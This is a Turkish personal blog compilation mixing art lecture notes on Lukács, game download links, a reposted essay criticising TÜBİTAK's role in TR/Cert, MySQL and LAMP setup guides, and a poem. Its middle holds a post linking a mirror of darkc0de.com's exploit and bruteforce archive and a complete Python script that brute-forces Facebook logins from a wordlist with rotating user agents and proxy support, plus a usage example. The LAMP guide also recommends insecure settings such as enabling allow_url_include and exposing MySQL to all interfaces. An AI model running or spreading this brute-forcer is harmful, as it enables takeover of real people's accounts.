György Lukács

Posted: Mayıs 3, 2011 in Ders notlarım
Etiketler:

   “Büyük sanatçılar daima insan soyunun ilerlemesine gelişmesine faydalı olmasına katkıda bulunurlar.Yarattıkları yapıtları ile nesneler arasındaki bağların bilinmeyen gizemlerini ortaya koyarlar,açığa çıkarırlar.Bilim adamları ve filozoflar ise bu gizemi çok sonra çözebilirler.”

   İnsan ve gerçekçilik: Temelinde sanatçıyı bir bilim adamıyla eş değerde tutması

* Sanatçı şundan hareket etmelidir: “Var olan yaşanılan dünya ne kadar insan içindir ve o insan kendisi için yaratılan bu dünyaya ne kadar yaraşır hareket,tutum içerisindedir.”

-İnsan dünyayı sadece kendisi itibariyle görmemelidir.

-O insan dünyanın en önemli varlığıdır ama o insan dünyayı sömürmemelidir.

-Dünyada sadece insan yoktur istediği gibi alıp satamaz,bozamaz.Çünkü insan dışında da bir çok varlık vardır bunları gözetip korumalıdır.

  Sanatta gerçeklik esastır.

-Sanat aslında vermek istediklerine sanatçı duygularından da katsa temel ilkesi gerçekçilik,doğalcılıktır.

-Sanatçı doğada ki özü bulmalıdır.Doğada ki öz gerçekçiliktir.Sanatta bu özü biçim dönüştürme yöntemidir.Bu şekilde hareket ederse o zaman sanatçı olmuş olur.

Tuval ressamla nasıl konuşur?

Sanatta yaratıcılık bilimde yaratıcılık gibi bir sorunu bir problemi çözme manasındadır ama bilimden farkı çözüm yöntemi farklıdır.

Sorun nedir? Nitelikli eser yapmaktır. Kasıt bir müzik eseriyse notalarıyla resimse düzenine öz kriterlerine uygun eser yapmaktır.

Sanat eserinde kaynak doğadır.Fark bilim adamı doğanın gerçeklerini sırlarını deneylerle bize sunar sanatçı ise doğayı bize olduğu gibi sunmaz estetikle güzellik katar.Olduğundan çok daha farklı sunulabilir.

Aristo”Bilim adamı doğayı birebir sunar sanatçı kendi duygu,estetik ve zevkleriyle bize sunabilir.

Doğaya artı olarak sanatçının duygusu sezgisini katar.

Yaratma süreci iki aşamadan meydana gelir.

  1. Yaratma öncesi süreç : Gözlem,düşünce,bilgi edinme,hissetme(süreci) .

    Kavramlar: duyu,duygu,duyum,imge,imgelem,simge,mecaz ve benzeri gibi kavramlar vardır.

Yaratma sonrası süreç. (yaratma süreci)
Bazen tuval bazı şeyleri kabul etmiyor sizinle konuşuyor ya da bu doğru veya değiş şeklinde bize haykırıyor..



Bird’s Town

Posted: Şubat 15, 2011 in PC OyuN

Build up Birds Town using incredible powerups, gorgeous gems, and more in this incredibly fun Marble Popper game! Set your feathered construction workers on to different tasks and erect bodacious buildings. Avoid the conniving cats that will do everything they can to gobble up your builders! Take on mesmerizing minigames and succeed in Birds Town!

Hotfile:indir

TUBITAK, REKABET ve TR/Cert

Posted: Ocak 28, 2011 in Bilgisayar

Önceki hafta “Bilgi Güvenliği” posta listesine attığım bir e-posta ve sonrasında gelişen yazışmalar sonucu Tübitak konusunda birçok tartışma oldu. Tübitak konusunda ve TR/Cert’ün yerleşimi konusunda duyduğum çok sayıda rahatsızlığı ilgili e-postada belirtmiştim. Bu rahatsızlıkları paylaşmak ve Tübitak’ın davranışları hakkındaki endişelerimin neler olduğunu net olarak ifade etmek istedim. Daha sonra bir başka yazı da TR/Cert ile ilgili düşünce, öneri ve endişelerim için yazacağım.

Tübitak’ın Bilgi Güvenliği alanındaki çalışmaları konusunda birçok rahatsız olduğum nokta var; ancak bu durum Tübitak’ın yaptığı diğer olumlu işleri (Geliştirilen ulusal kriptolama altyapısı, araştırma/geliştirme çalışmaları, kamusal bilgi güvenliği çalışmaları, diğer projeler {pardus vb.}) beğenmediğim anlamına gelmiyor. Şu unutulmamalı; bir kurumu/davranışı eleştirirken tarafın güzel/beğenilen hareketlerini de listelemek gereksiz ve yersizdir. Evet güzel çalışmalar yapmış olabilir, bir kısmını takdir de etmekteyim; ama bu durum benim rahatsız olduğum noktalar ile ilintili değildir.

Gerçekler ;

  • Tübitak, özel şirketlere bilgi güvenliği alanında denetim ve danışmanlık hizmetleri satmaktadır; yani bilgi güvenliği hizmet pazarının “REKABET EDEN BİR OYUNCUSUDUR”.
  • Tübitak bir kamu kuruluşudur, kamusal görevleri ve sorumlulukları bulunmaktadır.
  • TR/Cert, Türkiye’nin ihtiyaç duyduğu ve bilgi güvenliği konusunda yaşadığımız birçok eksikliği giderebilecek organizasyondur.
  • TR/Cert bir kamusal görev olarak değerlendirilmiş ve Tübitak bu doğrultuda yetkilendirilmiştir.
  • Tübitak, Türkiye’nin tüm bilgi güvenliği uzmanlarını bünyesinde toplamamıştır; Türkiye’de özel şirketler için çalışan ve Tübitak’ın sahip olduğundan çok daha fazla bilgi güvenliği uzmanı bulunmaktadır.

Kamusal görev olan TR/Cert, bir rekabet unsuru olarak kullanılmasa dahi haksız rekabeti doğuracak bir olgudur. TR/Cert görevleri doğrultusunda kuruluşlara “güvenlik ihlali müdahale”, “güvenlik bilinci arttırılması” ve “güvenlik organizasyonu yapılandırılması” konularında bedelsiz/kamusal hizmetler sunacaktır. Söz konusu hizmeti alan kuruluş çalışmalarını devam ettirmek, teknoloji ve hizmet yatırımı yapmak istediğinde ise izleyeceği bir yol olacaktır. Pazar oyuncularını (hizmet sağlayıcıları) davet edecek ve çözüm önerilerini, fiyatı içeren bir teklif dahilinde isteyecektir. TR/Cert’ün de içinde bir bölüm olduğu Tübitak’ın bir başka bölümü ise çalışmalarını ve fiyat teklifini bu kapsamda iletecektir. Bu durum dünyanın neresinde olursa olsun “HAKSIZ REBAKET” olarak değerlendirilir ve cezalandırılır.

Bu durum sadece rekabet rahatsızlığı yaratmayacaktır; TR/Cert’e destek vermek isteyen ve çalışma hayatını belirtilen “RAKİP” kurumlarda çalışan insanların geri adım atmasına neden olacaktır. Pazar rekabeti içinde bulunulan bir kuruma çalışmalarında “ÜCRETSİZ” yardım edilmesini beklemek ve böyle önemli organizasyonların desteklenmesini istemek ise en iyimser ifade ile “SAFLIK” olacaktır. TR/Cert’e belirtilen sebeple yardımcı olamayan/olmayan kişilerin, kar amacı gütmeyen bağımsız dernek ve kuruluşlarda yaptığı çalışmalar ise TR/Cert’e aktarılamayacaktır.

Yukarıda ki tanıma uyan, kamusal görev ve ticari rekabeti beraber devam ettiren çok sayıda kamu kuruluşu bulunmaktadır. Geçtiğimiz yıllarda belirtilen şartlardaki kamu kuruluşlarından bazıları özel şartlarla satılmıştır. Türk Telekom örneği düşündürücü ve çarpıcı örneklerden sadece biridir. Kamu görevleri icra eden, gelir elde eden ve alanında tekel olan Türk Telekom özelleştirildi. Özelleştirme süreci öncesinde PTT ve Türksat şirketlerine belirtilen kurumun görevlerinden bazıları aktarıldı; özelleştirmeye konu olan Internet altyapısı ve İletişim altyapısı halen ilgili kurumun hizmet verdiği alanda tekel olmasını sağlamaktadır. Kamusal görevler arasında yer alan “iletişim güvenliği” konusunda ise Askeri önlemler (özel bir iletişim altyapısı) ve kamusal önlemler geliştirildi.

Anlatılan koşullar çerçevesinde;

  • TR/Cert’e sadece Tübitak (yeni/eski)çalışanlarının veya hizmet alan kurum bünyesindeki kişiler destek verecek; önemli bir danışman/denetmen/eğitmen kitlesi icraat esnasında (sözde olmasa bile) dışlanacaktır.
  • TR/Cert ile Tübitak kendisine “Bilgi Güvenliği” çalışma alanı için “REKABET BOZAN” bir özellik kazandırmıştır.
  • Tübitak’ın tamamen veya kısmen özelleştirilmesi söz konusu olduğunda (böyle birşey hayalidir, hatta kabusidir) ise zaten bozulmuş olan “REKABET”, “ULUSAL BİLGİ GÜVENLİĞİ POLİTİKASI”, “HİZMETTE ELDE EDİLEN BİLGİLERİN GİZLİLİĞİ” ve birçok prensip rahatsızlık uyandıracaktır.

TR/Cert’ün önemli zarar görmesi, ticari faaliyette bulunan Tübitak’ın geleceği, kamusal hizmet ile ticari faaliyetin karıştırılması dışında zararlarda vardır.

Özel şirketlerin hizmet aldıkları Tübitak; hizmet zararını göze alabilmekte, çalışanlarını farklı bütçeler altında eğitebilmekte ve çok sayıda çalışanı bünyesinde barındırabilmektedir. Bu durum maliyetlerin azalması, hizmet bedellerinin ve kalitenin zamanla düşmesi sonucuna da gidecektir. Belirtilen düşük maliyet ve zarar ise sadece sermayesi güçlü olan kurumlar tarafından kaldırılır; belirtilen örnekteki “BİLGİ GÜVENLİĞİ HİZMET/ÜRÜN PİYASASI” için sermaye rahatlığı içindeki tek kurum TUBITAK’tır. Zaman içinde küçük hizmet şirketleri, özel bir alanda hizmet sunmak için kurulan şirketler veya büyük oyuncular piyasadan silinecektir. Bu durumu görmek için pazar analizi yapılmasına gerek yoktur; oluşan Türkiye Internet altyapısı ve hizmet sunan kurumların durumu da incelenebilir. Müşteriler için başlangıçta “UCUZ” olan hizmet bir süre sonra kalitesiz, otomatize ve yetersiz olacak; zamanla oyuncular silindikçe ve tekel oluştukça “PAHALI” olacaktır. Pazardaki hizmet sunan küçük kurumların yok edilmesi ve hizmet kalitesinin yetersizliği sonrasında ise YABANCI kurumların Türkiye temsilciliklerinden hizmet alınacak; hatta “BU KONUDA ÇALIŞAN BİR TÜRK FİRMASI DAHİ YOK, HEPSİNİN KALİTESİ YERLERDE” denilebilecektir.

Özetle; TR/Cert kanaatimce sorunlu doğmuştur. TR/Cert gibi yıllarca kurulması için çaba gösterdiğimiz kurum, içeriğine sağlanacak katkılara engeller ile oluşturulmuştur. TR/Cert’ün Tübitak tarafından kullanılış tarzına bağlı olarak “REKABET BOZAN” yapısı ileride çok ciddi tehlikeler oluşturacaktır. TR/Cert’ün bünyesinden ayrılması durumunda dahi Tübitak’ın “REKABET İHLALİ” yaptığı noktalar bulunmakta ve kamusal fayda ile uyuşmamaktadır. Türkiye’nin bilgi güvenliği çalışma alanındaki “Araştırma/Geliştirme” yapan özel şirketlerin sayısının azlığı, hizmete (yabancı kökenli ürünlere değil) yatırım yapan hizmet/ürün sunan şirketlerin azlığı ve piyasada bulunan hizmet bedelleri incelendiğinde, gelecekteki tehlike daha net görülebilir. Halen birçok kurum bilgi güvenliği hizmetlerini -daha iyi oldukları gerekçesi ile- çok yüksek meblağlar ile yurtdışı kökenli -bünyesinde türk mühendislerini kullanan- firmalardan almaktadır.

Fatih Özavcı
IT Security Consultant

Alıntı:

http://siyahsapka.blogspot.com/2009/02/tubitak-rekabet-ve-trcert.html

Mysql’i komut satırından kullanmayı sevenler için kullanıcı oluşturmak için:

CREATE USER ‘kullaniciadi’@'localhost’ IDENTIFIED BY ‘sifre’;

Bu sayede yerel bilgisayarda(localhost) yeni bir kullanıcı oluşturduk. Şimdi de bu kullanıcının Mysql sunucusunda tüm haklara sahip olmasını şu şekilde sağlayalim:

GRANT ALL ON *.* TO ‘kullaniciadi’@'localhost’;

İstersek sadece bir veritabanı üzerinde tüm işlemleri yapabilme izni de verebiliriz:

GRANT ALL ON veritabaniadi.* TO ‘kullaniciadi’@'localhost’;

 

ALINTI

http://crunchbang.org/archives/2008/04/17/create-mysql-user-accounts-from-the-command-line/

http://dev.mysql.com/doc/refman/5.1/en/adding-users.html

http://mf.dpu.edu.tr/~cakirhal/?q=node/85

darkc0de.com Archive

Posted: Ocak 24, 2011 in Bilgisayar

Recently i noticed that darkc0de.com is down

darkc0de.com was a security and hacking related website which contained a large archive of python (and other scripting languages)   scripts,exploit and tutorials.

It was a great resource for learning and getting custom made tools

For those of you who didn’t got the chance to download its content I attached most of the tools in a single 150 megs tar.gz file.

the file includes the following  site sections:

bruteforce, c0de,  cheatsheets,  encryption,  exploits,  ircbots,  misc,  others,  scanners and  tutorials

 

Rapid:Download

Megaupload:Download

Facebook kaba kuvvet atağı

KOD:

—————————————————————————————————————————————————

#!/usr/bin/python
# This is facebook bruteforcer tools
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will not be responsible for any damage !!
# Toolname     : facebookbruteforcer.py
# Programmer     : Gunslinger_ <yudha.gunslinger@gmail.com>
# Version    : 1.0
# Date        : Tue Jul 27 13:24:44 WIT 2010
# Special thanks to mywisdom to inspire me

import re
import os
import sys
import random
import warnings
import time
try:
import mechanize
except ImportError:
print “[*] Please install mechanize python module first”
sys.exit(1)
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
sys.exit(1)
try:
import cookielib
except ImportError:
print “[*] Please install cookielib python module first”
sys.exit(1)
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
sys.exit(1)

warnings.filterwarnings(action=”ignore”, message=”.*gzip transfer encoding is experimental!”, category=UserWarning)

# define variable
__programmer__     = “gunslinger_ <yudha.gunslinger@gmail.com>”
__version__        = “1.0″
verbose     = False
useproxy    = False
usepassproxy    = False
log        = ‘fbbruteforcer.log’
file        = open(log, “a”)
success        = ‘http://www.facebook.com/?sk=messages&amp;ref=mb’
fblogin     = ‘https://login.facebook.com/login.php?login_attempt=1′
# some cheating ..
ouruseragent     = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
'Microsoft Internet Explorer/4.0b1 (Windows 95)',
'Opera/8.00 (Windows NT 5.1; U; en)',
'amaya/9.51 libwww/5.4.0',
'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]‘
]
facebook     = ”’
__               _                 _
/ _|             | |               | |
| |_ __ _  ___ ___| |__   ___   ___ | | __
|  _/ _` |/ __/ _ \ ‘_ \ / _ \ / _ \| |/ /
| || (_| | (_|  __/ |_) | (_) | (_) |   <
|_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
bruteforcer…

Programmer : %s
Version       : %s”’ % (__programmer__, __version__)
option               = ”’
Usage  : %s [options]
Option : -u, –username      <username>         |   User for bruteforcing
-w, –wordlist      <filename>         |   Wordlist used for bruteforcing
-v, –verbose                |   Set %s will be verbose
-p, –proxy         <host:port>    |   Set http proxy will be use
-k, –usernameproxy    <username>    |   Set username at proxy will be use
-i, –passproxy    <password>    |   Set password at proxy will be use
-l, –log         <filename>    |   Specify output filename (default : fbbruteforcer.log)
-h, –help          <help>             |   Print this help

Example : %s -u brad@hackme.com -w wordlist.txt”

P.S : add “&” to run in the background
”’ % (sys.argv[0], sys.argv[0], sys.argv[0])
hme         = ”’
Usage : %s [option]
-h or –help for get help
”’ % sys.argv[0]

def helpme():
print facebook
print option
file.write(facebook)
file.write(option)
sys.exit(1)

def helpmee():
print facebook
print hme
file.write(facebook)
file.write(hme)
sys.exit(1)

for arg in sys.argv:
try:
if arg.lower() == ‘-u’ or arg.lower() == ‘–user’:
username = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-w’ or arg.lower() == ‘–wordlist’:
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-l’ or arg.lower() == ‘–log’:
log = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-p’ or arg.lower() == ‘–proxy’:
useproxy = True
proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-k’ or arg.lower() == ‘–userproxy’:
usepassproxy = True
usw = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-i’ or arg.lower() == ‘–passproxy’:
usepassproxy = True
usp = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-v’ or arg.lower() == ‘–verbose’:
verbose = True
elif arg.lower() == ‘-h’ or arg.lower() == ‘–help’:
helpme()
elif len(sys.argv) <= 1:
helpmee()
except IOError:
helpme()
except NameError:
helpme()
except IndexError:
helpme()

def bruteforce(word):
try:
sys.stdout.write(“\r[*] Trying %s…                    ” % word)
file.write(“[*] Trying %s\n” % word)
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(ouruseragent))]
opensite = br.open(fblogin)
br.select_form(nr=0)
br.form['email'] = username
br.form['pass'] = word
br.submit()
response = br.response().read()
if verbose:
print response
if success in response:
print “\n\n[*] Logging in success…”
print “[*] Username : %s” % (username)
print “[*] Password : %s\n” % (word)
file.write(“\n[*] Logging in success…”)
file.write(“\n[*] Username : %s” % (username))
file.write(“\n[*] Password : %s\n\n” % (word))
sys.exit(1)
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
sys.exit(1)
except mechanize._mechanize.FormNotFoundError:
print “\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n”
file.write(“\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n”)
sys.exit(1)
except mechanize._form.ControlNotFoundError:
print “\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n”
file.write(“\n[*] Facebook changing their system, please report bug at yudha.gunslinger@gmail.com\n”)
sys.exit(1)

def releaser():
global word
for word in words:
bruteforce(word.replace(“\n”,”"))

def main():
global br
global words
try:
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_debug_http(False)
br.set_debug_redirects(False)
br.set_debug_redirects(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
if useproxy:
br.set_proxies({“http”: proxy})
if usepassproxy:
br.add_proxy_password(usw, usp)
if verbose:
br.set_debug_http(True)
br.set_debug_redirects(True)
br.set_debug_redirects(True)
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
file.write(“\n[*] Exiting program…\n”)
sys.exit(1)
try:
preventstrokes = open(wordlist, “r”)
words            = preventstrokes.readlines()
count          = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except IOError:
print “\n[*] Error: Check your wordlist path\n”
file.write(“\n[*] Error: Check your wordlist path\n”)
sys.exit(1)
except NameError:
helpme()
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
file.write(“\n[*] Exiting program…\n”)
sys.exit(1)
try:
print facebook
print “\n[*] Starting attack at %s” % time.strftime(“%X”)
print “[*] Account for bruteforcing %s” % (username)
print “[*] Loaded :”,len(words),”words”
print “[*] Bruteforcing, please wait…”
file.write(facebook)
file.write(“\n[*] Starting attack at %s” % time.strftime(“%X”))
file.write(“\n[*] Account for bruteforcing %s” % (username))
file.write(“\n[*] Loaded : %d words” % int(len(words)))
file.write(“\n[*] Bruteforcing, please wait…\n”)
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
sys.exit(1)
try:
releaser()
bruteforce(word)
except NameError:
helpme()

if __name__ == ‘__main__’:
main()
—————————————————————————————————————————————————

Örnek kullanım ;

#python ./facebook.py -u kullanıcı adı -w wordlist(şifre lisetesi)

Anlatılan bir çok kurulumu denedim, ancak hepsinde ufak tefekde olsa sorunlar yaşadım. Sonra bu sorunları çözmek için bir sürü ayrı forum syafasına bağlandım.

Aşağıda yaptığım şekilde ise sorun yaşamadım veya yaşadıysamda aşağıda anlattığım şekilde çözdüm. Şu anda bu şekilde sistemde bütün bu yapıları kullanmaktayım. Buna benzer 2-3 tane döküman forumda ekli olsa da sizinde sorunsuz bir şekilde bu kurulumları yapabilmeniz için bu dökümanı yazmayı uygun buldum.

Faydalı olması dileğiyle…

Ubuntu için  Apache2 – Php5 – Mysql – Php MyAdmin Kurulumu (UBUNTU 10.10 versiyonunda denenmiştir)

Uç birimi açalım. Kırmızı renkli yazılanlar başlarında 1- gibi numaralar bulunmadan uç birime yazılacaktır. Mavi renkli yazılanlar ise açılmış herhangi bir dosyanın içeriğini ilgilendirmektedir.

Apache2 – Php5 Kurulumu
1- sudo su
Sisteme yönetici olarak giriş yapıyoruz

2- apt-get install apache2
Apache2 serverini kuruyoruz, sorulara E diyiniz.
(Ubuntuyu kullandığınız dile göre E harfi değişecektir. E, Evet’in baş harfidir.)

3- apt-get install php5
Php5 yorumlayıcısını kuruyoruz, sorulara E diyiniz.

4- gedit /etc/apache2/mods-available/dir.conf
Düzenleme yapmamız gereken dosyayı açıyoruz ve içersini aşağıda gördüğümüz gibi yapıyoruz.
<IfModule mod_dir.c>
#DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm
DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.php3 index.pl index.xhtml
</IfModule>

5- Bunu kayıt edip kapadıktan sonra uç birime aşağıdaki her komutu, her komuttan sonra entera basarak uç birime giriniz.
a2enmod ssl
a2enmod rewrite
a2enmod suexec
a2enmod include

6- Apache2 yi restart edelim
/etc/init.d/apache2 restart

Tebrikler Apache2 ve PHP5 kurulumu tamamlandı.

Herhangi bir internet tarayıcısında adres satırına http://localhost yazdığınızda It Works! yazısını görüyorsanız kurulumları başarı ile gerçekleştirmişsiniz demektir.
Tıklayın -> http://localhost

—————————————————————————————————————————-
Ek
* Php’nin hata uyarı sistemini devreye sokmak isterseniz uç birime aşağıdaki kodu yazalım
sudo gedit /etc/php5/apache2/php.ini
dosyayı açıyoruz

* Başında noktalı virgül olmayan “error_reporting = E_ALL & ~E_NOTICE” satırını bulalım ve aşağıdaki gibi değiştirelim.
error_reporting = E_ALL & ~E_NOTICE & ~E_WARNING
(Bazı php sürümlerinde bu satır farklılık gösterir, error_reporting = E_ALL & ~E_DEPRECATED gibi. Siz en iyisimi sadece başında noktalıvirgül olmayan error_reporting satırını bulun ve karşısını denilen şekilde değiştirin.)

* Php de include işlemini aktif etmek isterseniz, açık olan php.ini dosyasında aşağıdaki satırı bulalım.
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off
(Bu “Off” olan kısmı biz “On” yaparak kaydedip çıkalım.)

* php.ini dosyasında her yaptığımız değişiklikten sonra apache2 serverimizi restart etmemiz gerekmekte.
sudo /etc/init.d/apache2 restart

Apache2 ve Php5 kurulumlarımız ayarlamalarıyla sona erdi.
—————————————————————————————————————————-

Hala yönetici olarak uç birimde bulunuyorsanız 7. maddedeki kodu tekrar yazmanıza gerek yok ama uç birime çıkıp girdiyseniz v.s bu kodu tekrar yazmanız gerekiyor.

MySql Kurulumu
7- sudo su
Sisteme yönetici olarak giriş yapıyoruz, şifrenizi giriniz…

8- apt-get install mysql-server
Mysql serverimizi kuruyoruz. Sizden bir şifre belirlemeniz istenecek.
New password for the MySql “root” user:
Bu şifreyi unutmamanız gerekiyor, zira veri tabanı ile yapacağınız her işlemde bu şifreyi kullanacaksınız.
Girdiğiniz şifreyi tekrar girerek şifremizide oluşturmuş oluyoruz.

9- gedit /etc/mysql/my.cnf
Dosyayı açtık ve içinde
# localhost which is more compatible and is not less secure.
bind-address
yazan yeri buluyoruz. bind-address kısmının başına # koyup, kaydedip kapatıyoruz. Bunları yaparak Mysql serverimizin bütün uzak istemcilerle çalışmasını sağlıyoruz. Php My Admin gibi.

10- /etc/init.d/mysql restart
Mysql’i restart ediyoruz.

Artık Mysql veritabanımız başarı ile kuruldu. Mysql’i kodlar arasında kaybolmadan kullanabilmek için PhpMyAdmin arayüzünü size şiddetle tavsiye ederim. Dilerseniz bununda kurulumunu yapalım.

Php My Admin Kurulumu
11- sudo apt-get install phpmyadmin
Sorulan sorulara E diyelim, yapılandırma secenekleri ekrana gelirse apache seçiniz, mysql de oluşturduğunuz şifreniz ve phpmyadmin için şifre istenecek. Tavsiyem mysql’e verdiğiniz şifrelerle aynı yapmanız. Ve bitti :).

http://localhost/phpmyadmin adresinden mysql veri tabanınızı kullanmak üzere phpmyadmin arayüzüne erişebilirsiniz… kullanıcı adı root şifrenizde koyduğunuz şifre…

—————————————————————————————————————————-
Ek
Bazen kurulumlar düzgün çalışsa da phpmyadmine erişmek sıkıntı olabiliyor. Eğer phpmyadmin sayfasına erişemiyorsanız aşağıdaki işlemleri gerçekleştirebilirsiniz…

Uç birime sırasıyla aşağıdaki komutları verelim.

* dpkg -L phpmyadmin > dosya
gedit dosya (entere basınca bir dosya açılması lazım, bunu kapatalım)

* sudo ln -s /usr/share/phpmyadmin /var/www

ve işlem tamam, artık sorunsuzca phpmyadmine erişebilirsiniz…

 

Alıntı

Birdie Shoot 2

Posted: Aralık 15, 2010 in PC OyuN

Korkunc bir virus bulasmis ve tüm kuslari tehdit ediyor.. Görevimiz hastalikli kuslari vurup gökyüzünü temizlemek.

Size:104.8 MB

 

Hotfile: Burdan

 

Canım meleğim kedimtawşan

Posted: Ağustos 2, 2010 in Resim

ne
kadar sakin…
rüzgarın ağaçları okşaması kadar yumuşak
ırmaklar gibi akıcı

yeniden
baharın gelmesi
yağmurda
ağacın can bulması
sonra ona
güneşin bakması yeşertmesi..

gibi